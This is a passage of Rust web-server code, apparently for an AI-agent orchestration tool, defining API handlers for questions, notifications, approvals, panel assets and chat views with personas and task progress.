7691 Ok(Json(
7692 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7693 .into_iter()
7694 .map(|view| view.with_origin(&tasks, &talks, &watches))
7695 .collect(),
7696 ))
7697 })
7698 .await
7699}
7700
7701async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7703 blocking(move || {
7704 Ok(Json(question_views(
7705 ui.questions.list(),
7706 &ui.questions,
7707 || deputy_config(&ui.repo),
7708 )))
7709 })
7710 .await
7711}
7712
7713fn question_record_revision(question: &Question) -> String {
7714 use std::hash::{Hash as _, Hasher as _};
7715 let mut hash = std::hash::DefaultHasher::new();
7716 serde_json::to_vec(question)
7717 .expect("serializable question")
7718 .hash(&mut hash);
7719 format!("{:016x}", hash.finish())
7720}
7721
7722#[derive(Serialize)]
7723struct QuestionOriginView {
7724 id: String,
7725 record_revision: String,
7726 origin_chat: Option<String>,
7727 origin_chat_closed: bool,
7728 can_consult_chat: bool,
7729}
7730
7731async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7732 blocking(move || {
7733 let questions = ui.questions.list();
7734 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7735 Ok(Json(
7736 questions
7737 .into_iter()
7738 .map(|question| {
7739 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7740 let can_consult_chat = consult.is_some();
7741 let talk = crate::consult::associated_talk_with_watches(
7742 &tasks, &talks, &question, &watches,
7743 );
7744 QuestionOriginView {
7745 record_revision: question_record_revision(&question),
7746 id: question.id,
7747 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7748 origin_chat: talk.map(|talk| talk.id),
7749 can_consult_chat,
7750 }
7751 })
7752 .collect(),
7753 ))
7754 })
7755 .await
7756}
7757
7758type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7759
7760fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7764 fn task_for_run(
7765 ui: &Ui,
7766 index: &mut Option<Vec<Arc<TaskRelation>>>,
7767 run: &str,
7768 loaded: &HashMap<String, Task>,
7769 ) -> ApiResult<Option<Task>> {
7770 if !plain_record_id(run) {
7771 return Ok(None);
7772 }
7773 if index.is_none() {
7774 *index = Some(ui.indexed_tasks()?);
7775 }
7776 Ok(index
7777 .as_ref()
7778 .expect("loaded index")
7779 .iter()
7780 .find(|task| task.runs.iter().any(|id| id == run))
7781 .and_then(|task| {
7782 loaded
7783 .get(&task.id)
7784 .cloned()
7785 .or_else(|| ui.queue.get(&task.id).ok())
7786 })
7787 .filter(|task| task.runs.iter().any(|id| id == run)))
7788 }
7789 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7790 plain_record_id(id)
7791 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7792 .flatten()
7793 .filter(|task| task.id == id)
7794 };
7795 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7796 let mut index = None;
7797 let mut tasks = HashMap::new();
7798 let mut talks = HashMap::new();
7799 for question in questions {
7800 for reference in crate::consult::question_task_refs(question, &watches) {
7801 let mut current = match reference {
7802 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7803 crate::consult::QuestionTaskRef::Run(id) => {
7804 task_for_run(ui, &mut index, id, &tasks)?
7805 }
7806 };
7807 let mut seen = HashSet::new();
7808 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7809 let Some(task) = current.take() else {
7810 break;
7811 };
7812 if !seen.insert(task.id.clone()) {
7813 break;
7814 }
7815 let chat = task.chat_talk().map(str::to_owned);
7816 let followup = task.followup.clone();
7817 tasks.insert(task.id.clone(), task);
7818 if let Some(chat) = chat {
7819 if plain_record_id(&chat)
7820 && !talks.contains_key(&chat)
7821 && let Ok(talk) = ui.talks.get(&chat)
7822 {
7823 talks.insert(chat, talk);
7824 }
7825 break;
7826 }
7827 let Some(followup) = followup else {
7828 break;
7829 };
7830 current = match followup.origin_task {
7831 Some(id) => direct_task(&id, &tasks),
7832 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7833 };
7834 }
7835 }
7836 }
7837 let mut tasks: Vec<Task> = tasks.into_values().collect();
7838 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7839 Ok((tasks, talks.into_values().collect(), watches))
7840}
7841
7842async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7845 blocking(move || {
7846 let items = ui.notices.list();
7847 let unread = items.iter().filter(|n| n.unread()).count();
7848 let items: Vec<_> = items
7849 .into_iter()
7850 .map(|n| {
7851 let question = crate::notices::answerable_question(&n, &ui.questions);
7852 let mut item = serde_json::to_value(n)?;
7853 item["answerable_question"] = serde_json::json!(question);
7854 Ok(item)
7855 })
7856 .collect::<anyhow::Result<_>>()?;
7857 Ok(Json(
7858 serde_json::json!({ "unread": unread, "items": items }),
7859 ))
7860 })
7861 .await
7862}
7863
7864fn notice_error(e: anyhow::Error) -> ApiError {
7865 ApiError::not_found(format!("{e:#}"))
7868}
7869
7870async fn notification_read(
7872 State(ui): State<Arc<Ui>>,
7873 Path(id): Path<String>,
7874) -> ApiResult<Json<Notice>> {
7875 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7876}
7877
7878async fn notification_dismiss(
7880 State(ui): State<Arc<Ui>>,
7881 Path(id): Path<String>,
7882) -> ApiResult<Json<Notice>> {
7883 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7884}
7885
7886async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7888 blocking(move || {
7889 let changed = ui.notices.mark_all_read()?;
7890 Ok(Json(serde_json::json!({ "marked": changed })))
7891 })
7892 .await
7893}
7894
7895#[derive(Debug, Default, Deserialize)]
7901#[serde(default, deny_unknown_fields)]
7902struct NewAnswer {
7903 choice: Option<String>,
7904 text: Option<String>,
7905 talk: Option<String>,
7906 head: Option<String>,
7907}
7908
7909async fn question_answer(
7910 State(ui): State<Arc<Ui>>,
7911 Path(id): Path<String>,
7912 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7913) -> ApiResult<Json<QuestionView>> {
7914 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7915 let answer = match (body.choice, body.text) {
7916 (Some(c), None) => Answer::Choice(c),
7917 (None, Some(t)) => Answer::Text(t),
7918 (Some(_), Some(_)) => {
7919 return Err(ApiError::bad_request(
7920 "send either `choice` or `text`, not both",
7921 ));
7922 }
7923 (None, None) => {
7924 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7925 }
7926 };
7927
7928 blocking(move || {
7929 let id = resolve_question(&ui.questions, &id)?;
7930 let q = ui
7931 .questions
7932 .get(&id)
7933 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7934 if !q.status.open() {
7935 return Err(ApiError::conflict(format!(
7939 "question {} is already {}",
7940 q.short(),
7941 q.status.as_str()
7942 )));
7943 }
7944 let cfg = deputy_config(&ui.repo);
7948 let (q, ()) = ui
7949 .questions
7950 .update(&q.id, |r| {
7951 let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
7952 if r.routed_task.is_some()
7955 && r.merge_target.is_some()
7956 && merge
7957 && (body.talk.is_some() || body.head.is_some())
7958 {
7959 let talk_id = body
7960 .talk
7961 .as_deref()
7962 .context("approval button requires its chat")?;
7963 let head = body
7964 .head
7965 .as_deref()
7966 .context("approval button requires the displayed head")?;
7967 let talk = ui.talks.get(talk_id)?;
7968 anyhow::ensure!(talk.status.open(), "approval chat is closed");
7969 r.answer_chat_button(answer, talk_id, head)
7970 } else {
7971 r.answer(answer)
7972 }
7973 })
7974 .map_err(ApiError::bad_request_from)?;
7975 let (tasks, talks, watches) =
7976 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7977 Ok(Json(
7978 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7979 ))
7980 })
7981 .await
7982}
7983
7984fn question_text_error(e: anyhow::Error) -> ApiError {
7986 let reason = e
7987 .downcast_ref::<crate::question_delivery::TextUnavailable>()
7988 .map(|e| e.reason);
7989 let error = ApiError::bad_request_from(e);
7990 if let Some(reason) = reason {
7991 ApiError {
7992 text_reason: Some(reason),
7993 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7994 }
7995 } else {
7996 error
7997 }
7998}
7999
8000#[derive(Debug, Deserialize)]
8002#[serde(deny_unknown_fields)]
8003struct NewSay {
8004 body: String,
8005}
8006
8007async fn question_say(
8017 State(ui): State<Arc<Ui>>,
8018 Path(id): Path<String>,
8019 body: std::result::Result<Json<NewSay>, JsonRejection>,
8020) -> ApiResult<Json<QuestionView>> {
8021 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8022 blocking(move || {
8023 let id = resolve_question(&ui.questions, &id)?;
8024 let q = ui
8025 .questions
8026 .get(&id)
8027 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8028 if !q.status.open() {
8029 return Err(ApiError::conflict(format!(
8033 "question {} is already {}",
8034 q.short(),
8035 q.status.as_str()
8036 )));
8037 }
8038 let cfg = deputy_config(&ui.repo);
8041 let (q, ()) = ui
8042 .questions
8043 .update(&q.id, |r| {
8044 if body.body.trim().is_empty() {
8045 return r.say(body.body);
8046 }
8047 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8048 r.say(body.body)
8049 })
8050 .map_err(question_text_error)?;
8051 let (tasks, talks, watches) =
8052 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8053 Ok(Json(
8054 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8055 ))
8056 })
8057 .await
8058}
8059
8060async fn admitted<T: Send + 'static>(
8063 admission: AdmissionGuard,
8064 work: impl Future<Output = ApiResult<T>> + Send + 'static,
8065) -> ApiResult<T> {
8066 tokio::spawn(async move {
8067 let result = work.await;
8068 drop(admission);
8069 result
8070 })
8071 .await
8072 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8073}
8074
8075async fn question_consult(
8084 State(ui): State<Arc<Ui>>,
8085 Path(id): Path<String>,
8086) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8087 let admission = ui.begin_admission()?;
8088 admitted(admission, async move {
8089 let (q, tasks, talks, watches, talk, cfg) = blocking({
8090 let ui = Arc::clone(&ui);
8091 move || {
8092 let id = resolve_question(&ui.questions, &id)?;
8093 let q = ui.questions.get(&id).map_err(|e| {
8094 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8095 })?;
8096 if !q.status.open() {
8097 return Err(ApiError::conflict(format!(
8098 "question {} is already {}",
8099 q.short(),
8100 q.status.as_str()
8101 )));
8102 }
8103 let (tasks, talks, watches) =
8104 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8105 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8106 return Err(ApiError::conflict(format!(
8107 "question {} has no chat to ask",
8108 q.short()
8109 )));
8110 };
8111 let cfg = if q.consult.is_none() {
8115 Some(Config::discover(&talk.repo, None)?.0)
8116 } else {
8117 None
8118 };
8119 Ok((q, tasks, talks, watches, talk, cfg))
8120 }
8121 })
8122 .await?;
8123 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8124 .await
8125 .map_err(ApiError::from)?;
8126 let (view, reclaimed, submitted) = blocking({
8127 let ui = Arc::clone(&ui);
8128 move || {
8129 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8130 let claim = if fresh {
8131 match ui.begin_queued_talk_turn(&talk.id)? {
8132 Some(turn_guard) => {
8133 let talk = ui.talks.get(&talk.id)?;
8134 let cfg = match cfg {
8135 Some(cfg) => cfg,
8136 None => Config::discover(&talk.repo, None)?.0,
8137 };
8138 Some((talk, cfg, turn_guard))
8139 }
8140 None => None,
8141 }
8142 } else {
8143 None
8144 };
8145 let q = ui.questions.get(&q.id)?;
8146 let cfg = deputy_config(&ui.repo);
8147 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8148 .with_origin(&tasks, &talks, &watches);
8149 Ok((view, claim, fresh.then_some(talk.id)))
8150 }
8151 })
8152 .await?;
8153 #[cfg(not(test))]
8154 {
8155 if let Some(id) = submitted {
8156 crate::consult::spawn_turn(&ui.talks, &id)
8157 .await
8158 .map_err(ApiError::from)?;
8159 }
8160 drop(reclaimed);
8161 }
8162 #[cfg(test)]
8163 let _ = submitted;
8164 #[cfg(test)]
8165 if let Some((talk, cfg, turn_guard)) = reclaimed {
8166 let talks = ui.talks.clone();
8167 let id = talk.id.clone();
8168 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8169 }
8170 Ok((StatusCode::ACCEPTED, Json(view)))
8171 })
8172 .await
8173}
8174
8175fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8177 if plain_record_id(id) && store.path_of(id).is_file() {
8178 return Ok(id.to_owned());
8179 }
8180 pick(
8181 store.list().into_iter().map(|q| q.id).collect(),
8182 id,
8183 "question",
8184 )
8185}
8186
8187async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8202 blocking(move || {
8203 let id = resolve_question(&ui.questions, &id)?;
8204 let Some(html) = ui.questions.panel_html(&id) else {
8205 return Err(ApiError::not_found(format!("question {id} has no panel")));
8206 };
8207 Ok(panel_response(
8208 "text/html; charset=utf-8",
8209 false,
8210 html.into_bytes(),
8211 ))
8212 })
8213 .await
8214}
8215
8216async fn question_asset(
8244 State(ui): State<Arc<Ui>>,
8245 Path((id, name)): Path<(String, String)>,
8246) -> ApiResult<Response> {
8247 if !crate::ask::valid_asset_name(&name) {
8250 return Err(ApiError::bad_request(format!(
8251 "`{name}` is not a usable asset name"
8252 )));
8253 }
8254 blocking(move || {
8255 let id = resolve_question(&ui.questions, &id)?;
8256 let asset = ui
8257 .questions
8258 .panel_asset(&id, &name)
8259 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8260 let Some(bytes) = asset else {
8261 return Err(ApiError::not_found(format!(
8262 "question {id} has no asset `{name}`"
8263 )));
8264 };
8265 Ok(panel_response(
8266 asset_content_type(&name),
8267 is_svg(&name),
8268 bytes,
8269 ))
8270 })
8271 .await
8272}
8273
8274fn asset_content_type(name: &str) -> &'static str {
8287 match extension(name).as_deref() {
8288 Some("png") => "image/png",
8289 Some("jpg" | "jpeg") => "image/jpeg",
8290 Some("gif") => "image/gif",
8291 Some("webp") => "image/webp",
8292 Some("svg") => "image/svg+xml",
8293 Some("css") => "text/css; charset=utf-8",
8294 Some("txt") => "text/plain; charset=utf-8",
8295 _ => "application/octet-stream",
8296 }
8297}
8298
8299fn is_svg(name: &str) -> bool {
8302 extension(name).as_deref() == Some("svg")
8303}
8304
8305fn extension(name: &str) -> Option<String> {
8307 name.rsplit_once('.')
8308 .map(|(_, ext)| ext.to_ascii_lowercase())
8309}
8310
8311fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8328 let mut res = (
8329 [
8330 (header::CONTENT_TYPE, content_type),
8331 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8332 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8333 (header::REFERRER_POLICY, "no-referrer"),
8334 ],
8335 body,
8336 )
8337 .into_response();
8338 if download {
8339 res.headers_mut().insert(
8340 header::CONTENT_DISPOSITION,
8341 HeaderValue::from_static("attachment"),
8342 );
8343 }
8344 res
8345}
8346
8347#[derive(Debug, Serialize)]
8353struct ChatApproval {
8354 question: String,
8355 target: crate::merge_decision::Target,
8356}
8357
8358#[derive(Debug, Serialize)]
8359struct TalkView {
8360 #[serde(flatten)]
8361 talk: Talk,
8362 turn_bodies_md: Vec<Vec<md::Node>>,
8363 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8365 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8366 merge_approvals: Vec<ChatApproval>,
8367 thinking: bool,
8375 context: talk::ContextUsage,
8379 operator_name: Option<String>,
8382 persona_name: Option<String>,
8384 persona_avatar: String,
8387 operator_avatar: String,
8389 magi_avatar: String,
8390}
8391
8392impl TalkView {
8393 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8396 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8397 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8398 }
8399
8400 fn with_config(
8403 talk: Talk,
8404 thinking: bool,
8405 cfg: Option<&Config>,
8406 home: &FsPath,
8407 cache: &id_links::IndexCache,
8408 ) -> Self {
8409 let references = cache.for_talk(home, &talk);
8410 Self::with_references(talk, thinking, cfg, home, &references)
8411 }
8412
8413 fn with_references(
8414 mut talk: Talk,
8415 thinking: bool,
8416 cfg: Option<&Config>,
8417 home: &FsPath,
8418 references: &id_links::IdIndex,
8419 ) -> Self {
8420 let snapshot = talk.clone();
8422 for (index, turn) in talk.turns.iter_mut().enumerate() {
8423 let original = &snapshot.turns[index];
8424 if turn.messages.is_empty() {
8425 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8426 turn.messages.push(talk::Message {
8427 sender: Some(talk::Sender::Magi),
8428 body: original.body.clone(),
8429 display: Some(display),
8430 attachments: original.attachments.clone(),
8431 reply: None,
8432 });
8433 }
8434 } else {
8435 for (i, message) in turn.messages.iter_mut().enumerate() {
8436 message.display =
8437 talk::notice_display(&snapshot, original, original.messages.get(i));
8438 if message.display.is_some() {
8439 message.sender = Some(talk::Sender::Magi);
8440 }
8441 }
8442 }
8443 }
8444 for message in &mut talk.pending_messages {
8445 if message.display.is_none()
8446 && (message.sender == Some(talk::Sender::Magi)
8447 || snapshot
8448 .completion_notices
8449 .iter()
8450 .any(|r| r.notice == message.body))
8451 {
8452 message.display = crate::prompt::legacy_notice_display(&message.body);
8453 if message.display.is_some() {
8454 message.sender = Some(talk::Sender::Magi);
8455 }
8456 }
8457 }
8458 if talk.pending_messages.is_empty()
8459 && snapshot
8460 .completion_notices
8461 .iter()
8462 .any(|r| r.notice == talk.pending)
8463 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8464 {
8465 talk.pending_messages.push(talk::Message {
8466 sender: Some(talk::Sender::Magi),
8467 display: Some(display),
8468 body: talk.pending.clone(),
8469 attachments: talk.pending_attachments.clone(),
8470 reply: None,
8471 });
8472 }
8473 let excerpts: Vec<Vec<Option<String>>> = talk
8474 .turns
8475 .iter()
8476 .map(|turn| {
8477 turn.messages
8478 .iter()
8479 .map(|m| {
8480 m.display
8481 .as_ref()
8482 .map(|d| d.facts.chars().take(240).collect())
8483 })
8484 .collect()
8485 })
8486 .collect();
8487 for turn in &mut talk.turns {
8488 let provenance = talk::sender(turn, None);
8489 turn.sender = Some(provenance);
8490 for message in &mut turn.messages {
8491 message.sender = Some(message.sender.unwrap_or(provenance));
8492 }
8493 }
8494 let senders: Vec<Vec<talk::Sender>> = talk
8496 .turns
8497 .iter()
8498 .map(|turn| {
8499 if turn.messages.is_empty() {
8500 vec![talk::sender(turn, None)]
8501 } else {
8502 turn.messages
8503 .iter()
8504 .map(|m| talk::sender(turn, Some(m)))
8505 .collect()
8506 }
8507 })
8508 .collect();
8509 for reply in talk
8510 .turns
8511 .iter_mut()
8512 .flat_map(|t| t.messages.iter_mut())
8513 .chain(talk.pending_messages.iter_mut())
8514 .filter_map(|m| m.reply.as_mut())
8515 {
8516 if let Some(Some(excerpt)) = excerpts
8517 .get(reply.target.turn)
8518 .and_then(|ms| ms.get(reply.target.message))
8519 {
8520 reply.excerpt = excerpt.clone();
8521 reply.sender = Some(talk::Sender::Magi);
8522 }
8523 if reply.sender.is_none() {
8524 reply.sender = senders
8525 .get(reply.target.turn)
8526 .and_then(|messages| messages.get(reply.target.message))
8527 .copied();
8528 }
8529 }
8530 let context = talk::context_usage(&talk, cfg);
8531 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8532 .turns
8533 .iter()
8534 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8535 .collect();
8536 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8537 .turns
8538 .iter()
8539 .map(|turn| {
8540 if turn.messages.is_empty() {
8541 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8542 } else {
8543 turn.messages
8544 .iter()
8545 .map(|message| {
8546 notice_markdown(
8547 message.sender.unwrap_or(talk::Sender::Operator),
8548 &message.body,
8549 message.display.as_ref(),
8550 )
8551 })
8552 .collect()
8553 }
8554 })
8555 .collect();
8556 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8557 .pending_messages
8558 .iter()
8559 .map(|message| {
8560 notice_markdown(
8561 message.sender.unwrap_or(talk::Sender::Operator),
8562 &message.body,
8563 message.display.as_ref(),
8564 )
8565 })
8566 .collect();
8567 for nodes in &mut turn_bodies_md {
8568 references.markdown(nodes);
8569 }
8570 for nodes in turn_messages_md
8571 .iter_mut()
8572 .flatten()
8573 .chain(pending_messages_md.iter_mut())
8574 .flatten()
8575 {
8576 references.markdown(nodes);
8577 }
8578 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8579 let persona_name = persona::find(specs, &talk.persona)
8580 .filter(|p| !p.is_default())
8581 .map(|p| p.name);
8582 let mut avatar_persona = persona::find(specs, &talk.persona)
8583 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8584 if avatar_persona.id != talk.persona
8586 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8587 {
8588 avatar_persona.id.clone_from(&talk.persona);
8589 avatar_persona.icon = None;
8590 }
8591 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8592 let approvals_store = ask::Questions::at(home.join("questions"));
8593 let merge_approvals = talk
8594 .notified
8595 .iter()
8596 .filter_map(|key| key.strip_prefix("question:"))
8597 .filter_map(|id| approvals_store.get(id).ok())
8598 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8599 .filter_map(|q| {
8600 Some(ChatApproval {
8601 question: q.id,
8602 target: q.merge_target?,
8603 })
8604 })
8605 .collect();
8606 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8607 Self {
8608 turn_bodies_md,
8609 turn_messages_md,
8610 pending_messages_md,
8611 merge_approvals,
8612 thinking,
8613 context,
8614 operator_name,
8615 persona_name,
8616 persona_avatar,
8617 magi_avatar: magi_icon_url(home),
8618 operator_avatar: operator_icon_url(home),
8619 talk,
8620 }
8621 }
8622}
8623
8624fn notice_markdown(
8626 sender: talk::Sender,
8627 body: &str,
8628 display: Option<&crate::prompt::NoticeDisplay>,
8629) -> Option<Vec<md::Node>> {
8630 if sender != talk::Sender::Magi {
8631 return None;
8632 }
8633 let text = if let Some(display) = display {
8634 display.facts.as_str()
8635 } else {
8636 if crate::prompt::is_completion_notice(body)
8639 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8640 {
8641 return None;
8642 }
8643 body.strip_prefix("magi: ").unwrap_or(body)
8644 };
8645 Some(md::to_nodes(text, &md::ImageBase::None))
8646}
8647
8648#[derive(Debug, Serialize)]
8653struct TalkDetailView {
8654 #[serde(flatten)]
8655 view: TalkView,
8656 tasks: Vec<TaskView>,
8657 task_progress: TalkTaskProgress,
8658 roster: Vec<RosterEntry>,
8661 personas: Vec<PersonaEntry>,
8664}
8665
8666#[derive(Debug, Serialize)]
8668struct TalkTaskProgress {
8669 state: &'static str,
8670 total: usize,
8671 done: usize,
8672 counts: std::collections::BTreeMap<&'static str, usize>,
8673 unfinished_ids: Vec<String>,
8674}
8675
8676fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8677 let mut counts = std::collections::BTreeMap::from([
8678 ("queued", 0),
8679 ("running", 0),
8680 ("done", 0),
8681 ("failed", 0),
8682 ("held", 0),
8683 ("blocked", 0),
8684 ("parked", 0),
8685 ]);
8686 let mut unfinished_ids = Vec::new();
8687 for task in tasks {
8688 *counts.entry(task.status.as_str()).or_default() += 1;
8689 if task.status != TaskStatus::Done {
8690 unfinished_ids.push(task.id.clone());
8691 }
8692 }
8693 TalkTaskProgress {
8694 state: if tasks.is_empty() {
8695 "none"
8696 } else if unfinished_ids.is_empty() {
8697 "complete"
8698 } else {
8699 "incomplete"
8700 },
8701 total: tasks.len(),
8702 done: tasks.len() - unfinished_ids.len(),
8703 counts,
8704 unfinished_ids,
8705 }
8706}
8707
8708#[derive(Debug, Serialize)]
8710struct PersonaEntry {
8711 id: String,
8712 name: String,
8713 avatar: String,
8715}
8716
8717#[derive(Debug, Serialize)]
8719struct RosterEntry {
8720 id: String,
8721 kind: AgentKind,
8722 runnable: bool,
8724}
8725
8726async fn talks_list(
8728 State(ui): State<Arc<Ui>>,
8729 Query(q): Query<ListQuery>,
8730 headers: header::HeaderMap,
8731) -> ApiResult<Json<Vec<TalkListView>>> {
8732 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8733 let limit = q.limit.unwrap_or(50).min(50);
8734 let ids = if let Some(ids) = q.ids {
8735 ids.split(',')
8736 .filter(|id| plain_record_id(id))
8737 .take(limit)
8738 .map(str::to_owned)
8739 .collect()
8740 } else {
8741 page_ids(&ui, true, PageQuery::default())?
8742 .0
8743 .into_iter()
8744 .take(limit)
8745 .collect()
8746 };
8747 Ok(Json(talk_rows(&ui, ids, &headers)))
8748 })
8749 .await
8750}
8751
8752#[derive(Debug, Default, Deserialize)]
8757#[serde(default)]
8758struct NewTalk {
8759 agent: Option<String>,
8760 repo: Option<PathBuf>,
8761 preferred_agent: Option<serde_json::Value>,
8765 persona: Option<serde_json::Value>,
8766 implementers: Option<serde_json::Value>,
8767}
8768
8769async fn talk_post(
8772 State(ui): State<Arc<Ui>>,
8773 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8774) -> ApiResult<impl IntoResponse> {
8775 let body = match body {
8779 Ok(Json(body)) => body,
8780 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8781 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8782 };
8783 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8784 let cfg = config_for(&repo).await?;
8785 let view = blocking(move || {
8786 let preferred = talk::Preferred {
8787 agent: body
8788 .preferred_agent
8789 .as_ref()
8790 .and_then(|v| v.as_str())
8791 .map(str::to_owned),
8792 persona: body
8793 .persona
8794 .as_ref()
8795 .and_then(|v| v.as_str())
8796 .map(str::to_owned),
8797 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8798 };
8799 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8800 let thinking = ui.is_thinking(&talk.id);
8801 Ok(TalkView::new(talk, thinking, &ui))
8802 })
8803 .await?;
8804 Ok((StatusCode::CREATED, Json(view)))
8805}
8806
8807async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8809 blocking(move || {
8810 let id = resolve_talk(&ui.talks, &id)?;
8811 let talk = ui.talks.get(&id)?;
8812 let thinking = ui.is_thinking(&id);
8813 Ok(Json(TalkView::with_references(
8816 talk,
8817 thinking,
8818 None,
8819 &ui.home,
8820 &id_links::IdIndex::default(),
8821 )))
8822 })
8823 .await
8824}
8825
8826async fn talk_sections(
8827 State(ui): State<Arc<Ui>>,
8828 Path(id): Path<String>,
8829) -> ApiResult<Json<serde_json::Value>> {
8830 blocking(move || {
8831 let id = resolve_talk(&ui.talks, &id)?;
8832 let talk = ui.talks.get(&id)?;
8833 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8834 let task_progress = talk_task_progress(&tasks);
8835 let tasks: Vec<_> = tasks
8836 .into_iter()
8837 .map(|task| {
8838 serde_json::json!({
8839 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8840 })
8841 })
8842 .collect();
8843 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8844 let roster: Vec<_> = cfg
8845 .as_ref()
8846 .map(|cfg| {
8847 cfg.agents
8848 .iter()
8849 .map(|a| RosterEntry {
8850 id: a.id.clone(),
8851 kind: a.kind,
8852 runnable: agent::installed(a),
8853 })
8854 .collect()
8855 })
8856 .unwrap_or_default();
8857 let specs = cfg
8858 .as_ref()
8859 .map(|cfg| cfg.talk.personas.clone())
8860 .unwrap_or_default();
8861 let personas: Vec<_> = persona::catalog(&specs)
8862 .into_iter()
8863 .map(|p| PersonaEntry {
8864 avatar: avatar_url(&ui.home, &talk.id, &p),
8865 id: p.id,
8866 name: p.name,
8867 })
8868 .collect();
8869 let active_persona = persona::find(&specs, &talk.persona)
8870 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8871 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8872 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8873 Ok(Json(serde_json::json!({
8874 "tasks": tasks, "task_progress": task_progress,
8875 "roster": roster, "personas": personas,
8876 "context": talk::context_usage(&talk, cfg.as_ref()),
8877 "context_for": talk.updated_at,
8878 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8879 "persona_name": persona_name,
8880 "persona_avatar": persona_avatar,
8881 })))
8882 })
8883 .await
8884}
8885
8886async fn talk_detail(
8888 State(ui): State<Arc<Ui>>,
8889 Path(id): Path<String>,
